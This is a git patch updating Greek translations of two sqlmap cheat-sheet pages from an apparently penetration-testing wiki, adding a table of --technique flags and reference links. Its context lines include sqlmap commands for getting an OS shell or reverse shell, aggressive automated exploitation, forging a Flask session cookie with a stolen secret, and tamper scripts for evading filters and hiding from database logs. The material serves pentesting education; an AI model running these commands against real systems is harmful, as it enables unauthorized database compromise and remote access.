From 96d1bca395a45192c405dad0e80ed6baaaada307 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 06:31:38 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/sqlmap.md', 'src/pentestin --- src/pentesting-web/sql-injection/sqlmap.md | 78 +++++++++++------- .../sql-injection/sqlmap/README.md | 80 ++++++++++++------- 2 files changed, 99 insertions(+), 59 deletions(-) diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md index 1cc2ba9d8..3ad15cfbf 100644 --- a/src/pentesting-web/sql-injection/sqlmap.md +++ b/src/pentesting-web/sql-injection/sqlmap.md @@ -21,6 +21,23 @@ --auth-cred="" #HTTP authentication credentials (name:password) --proxy=PROXY ``` +### Technique flags (`--technique`) + +Το επιχείρημα `--technique` καθορίζει ποιες μεθόδους SQL injection θα προσπαθήσει να χρησιμοποιήσει το sqlmap. Κάθε χαρακτήρας στη συμβολοσειρά αντιπροσωπεύει μια τεχνική: + +| Letter | Technique | Description | +| ------ | --------- | ----------- | +| B | Boolean-based blind | Χρησιμοποιεί συνθήκες true/false για να συμπεράνει δεδομένα | +| E | Error-based | Εκμεταλλεύεται λεπτομερή μηνύματα σφάλματος DBMS για να εξάγει αποτελέσματα | +| U | UNION query | Εισάγει δηλώσεις `UNION SELECT` για να ανακτήσει δεδομένα μέσω του ίδιου καναλιού | +| S | Stacked queries | Προσθέτει επιπλέον δηλώσεις χωρισμένες με `;` | +| T | Time-based blind | Βασίζεται σε καθυστερήσεις (`SLEEP`, `WAITFOR`) για να ανιχνεύσει την εισαγωγή | +| Q | Inline / out-of-band | Χρησιμοποιεί συναρτήσεις όπως `LOAD_FILE()` ή OOB κανάλια όπως το DNS | + +Η προεπιλεγμένη σειρά είναι `BEUSTQ`. Μπορείτε να τις αναδιοργανώσετε ή να τις περιορίσετε, π.χ. μόνο Boolean και Time-based σε αυτή τη σειρά: +```bash +sqlmap -u "http://target/?id=1" --technique="BT" --batch +``` ### Ανάκτηση Πληροφοριών #### Εσωτερικό @@ -48,7 +65,7 @@ ```bash sqlmap -r req.txt --current-user ``` -### Εισαγωγή Αιτήματος GET +### GET Request Injection ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id @@ -87,7 +104,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` -### Σάρωση μιας ιστοσελίδας με SQLmap και αυτόματη εκμετάλλευση +### Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 @@ -115,53 +132,56 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` -| Tamper | Description | +| Tamper | Περιγραφή | | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 | -| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode | +| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode | | appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload | -| base64encode.py | Κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload σε Base64 | -| between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από \('>'\) με 'NOT BETWEEN 0 AND \#' | +| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload | +| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('>'\) με 'NOT BETWEEN 0 AND \#' | | bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE | -| chardoubleencode.py | Διπλά κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | -| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' | -| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' | -| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | -| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | -| charunicodeencode.py | Κωδικοποιεί URL χαρακτήρες που δεν έχουν κωδικοποιηθεί σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" | -| charunicodeescape.py | Κωδικοποιεί URL χαρακτήρες που δεν έχουν κωδικοποιηθεί σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" | -| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' | -| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) | -| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από \('>'\) με τον αντίστοιχο 'GREATEST' | +| chardoubleencode.py | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | +| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' | +| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' | +| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | +| charencode.py | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | +| charunicodeencode.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" | +| charunicodeescape.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" | +| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' | +| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) | +| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('>'\) με τον αντίστοιχο 'GREATEST' | | halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί | -| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' | +| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' | | modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση | | modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης | | multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL | | nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) φίλτρα | | percentage.py | Προσθέτει ένα ποσοστό \('%'\) μπροστά από κάθε χαρακτήρα | -| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | -| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου | +| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | +| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου | | randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL | | securesphere.py | Προσθέτει ειδικά κατασκευασμένο string | -| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS | -| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια | +| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS | +| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια | | space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | | space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | | space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | -| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | +| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | | space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) | -| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | +| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | | space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) | -| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) | -| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | -| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους \(&& και | +| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) | +| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | +| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους \(&& και | | unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT | | unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου \('\) με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος \(για να λειτουργήσει\) | -| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' | +| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' | | varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' | | versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση | -| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση | -| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' | +| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση | +| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' | + +## Αναφορές +- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md index 690a662af..2e4301ba8 100644 --- a/src/pentesting-web/sql-injection/sqlmap/README.md +++ b/src/pentesting-web/sql-injection/sqlmap/README.md @@ -23,6 +23,23 @@ --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` +### Technique flags (`--technique`) + +Η επιλογή `--technique` σας επιτρέπει να περιορίσετε ή να αναδιατάξετε τις τεχνικές SQL injection που θα δοκιμάσει το sqlmap. Κάθε γράμμα αντιστοιχεί σε μια διαφορετική κατηγορία payloads: + +| Letter | Technique | Description | +| ------ | --------- | ----------- | +| B | Boolean-based blind | Χρησιμοποιεί συνθήκες true/false στην απόκριση της σελίδας για να συμπεράνει αποτελέσματα | +| E | Error-based | Εκμεταλλεύεται λεπτομερή μηνύματα σφάλματος DBMS για να εξάγει δεδομένα | +| U | UNION query | Εισάγει δηλώσεις `UNION SELECT` για να ανακτήσει δεδομένα μέσω του ίδιου καναλιού | +| S | Stacked queries | Προσθέτει επιπλέον δηλώσεις χωρισμένες με έναν SQL διαχωριστή (`;`) | +| T | Time-based blind | Βασίζεται σε καθυστερήσεις `SLEEP/WAITFOR` για να ανιχνεύσει συνθήκες που είναι επιδεκτικές σε injection | +| Q | Inline / out-of-band | Χρησιμοποιεί συναρτήσεις όπως `LOAD_FILE()` ή εξαγωγή DNS για να εξάγει δεδομένα | + +Η προεπιλεγμένη σειρά που θα ακολουθήσει το sqlmap είναι `BEUSTQ` (όλες οι τεχνικές). Μπορείτε να αλλάξετε τόσο τη σειρά όσο και το υποσύνολο. Για παράδειγμα, η παρακάτω εντολή θα **προσπαθήσει μόνο** τις τεχνικές UNION query και Time-based blind, προσπαθώντας πρώτα το UNION: +```bash +sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch +``` ### Ανάκτηση Πληροφοριών #### Εσωτερικό @@ -53,7 +70,7 @@ ```bash sqlmap -r req.txt --current-user ``` -### GET Request Injection +### Εισαγωγή Αιτήματος GET ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id @@ -82,11 +99,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" ``` ### Προσθήκη τεχνικής ανίχνευσης -Αν βρείτε ένα SQLi αλλά το sqlmap δεν το ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως `--prefix` ή `--suffix`, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιεί το sqlmap στο `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` για παράδειγμα για time blind based. +Αν βρείτε μια SQLi αλλά το sqlmap δεν την ανίχνευσε, μπορείτε να αναγκάσετε την τεχνική ανίχνευσης με παραμέτρους όπως `--prefix` ή `--suffix`, ή αν είναι πιο περίπλοκο, προσθέτοντάς το στα payloads που χρησιμοποιεί το sqlmap στο `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` για παράδειγμα για βασισμένο σε χρόνο blind. ### Eval -**Sqlmap** επιτρέπει τη χρήση του `-e` ή `--eval` για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η **flask cookie session** **υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί**: +**Sqlmap** επιτρέπει τη χρήση του `-e` ή `--eval` για να επεξεργαστεί κάθε payload πριν το στείλει με κάποιο python oneliner. Αυτό διευκολύνει και επιταχύνει την επεξεργασία με προσαρμοσμένους τρόπους του payload πριν το στείλετε. Στο παρακάτω παράδειγμα, η **συνεδρία cookie flask** **υπογράφεται από το flask με το γνωστό μυστικό πριν σταλεί**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` @@ -149,47 +166,50 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload | | base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload | | between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με 'NOT BETWEEN 0 AND #' | -| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά από δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE | -| chardoubleencode.py | Διπλά κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | +| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE | +| chardoubleencode.py | Διπλά url-κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | | commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' | -| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' | +| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' | | concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | -| charencode.py | Κωδικοποιεί url όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | -| charunicodeencode.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" | -| charunicodeescape.py | Κωδικοποιεί unicode-url τους μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" | +| charencode.py | Url-κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | +| charunicodeencode.py | Unicode-url-κωδικοποιεί μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" | +| charunicodeescape.py | Unicode-url-κωδικοποιεί μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" | | equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσος ('=') με τον τελεστή 'LIKE' | | escapequotes.py | Διαφεύγει τις αποστροφές (' και ") | | greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από ('>') με τον αντίστοιχο 'GREATEST' | -| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί | +| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί | | ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' | -| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση | -| modsecurityzeroversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης | -| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL | +| modsecurityversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό με έκδοση | +| modsecurityzeroversioned.py | Περιβάλλει την πλήρη ερώτηση με σχολιασμό μηδενικής έκδοσης | +| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL | | nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση (π.χ. .replace("SELECT", "")) φίλτρα | -| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα | -| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | -| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή περίπτωσης | +| percentage.py | Προσθέτει ένα ποσοστό ('%') μπροστά από κάθε χαρακτήρα | +| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload (χωρίς επεξεργασία ήδη κωδικοποιημένων) | +| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου | | randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL | -| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string | +| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string | | sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS | | space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια | -| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') | -| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') | -| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') | -| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | -| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') | -| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | +| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') | +| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') | +| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') | +| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | +| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') | +| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | | space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') | -| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με το σύμβολο συν ('+') | -| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | -| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και | -| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT | -| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα αποστροφής (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) | -| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με την κεφαλαία τιμή 'INSERT' | +| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+) | +| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | +| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και | +| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT | +| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) | +| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τιμή κεφαλαίου 'INSERT' | | varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' | | versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση | | versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση | -| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' | +| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' | +## References +- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) + {{#include ../../../banners/hacktricks-training.md}}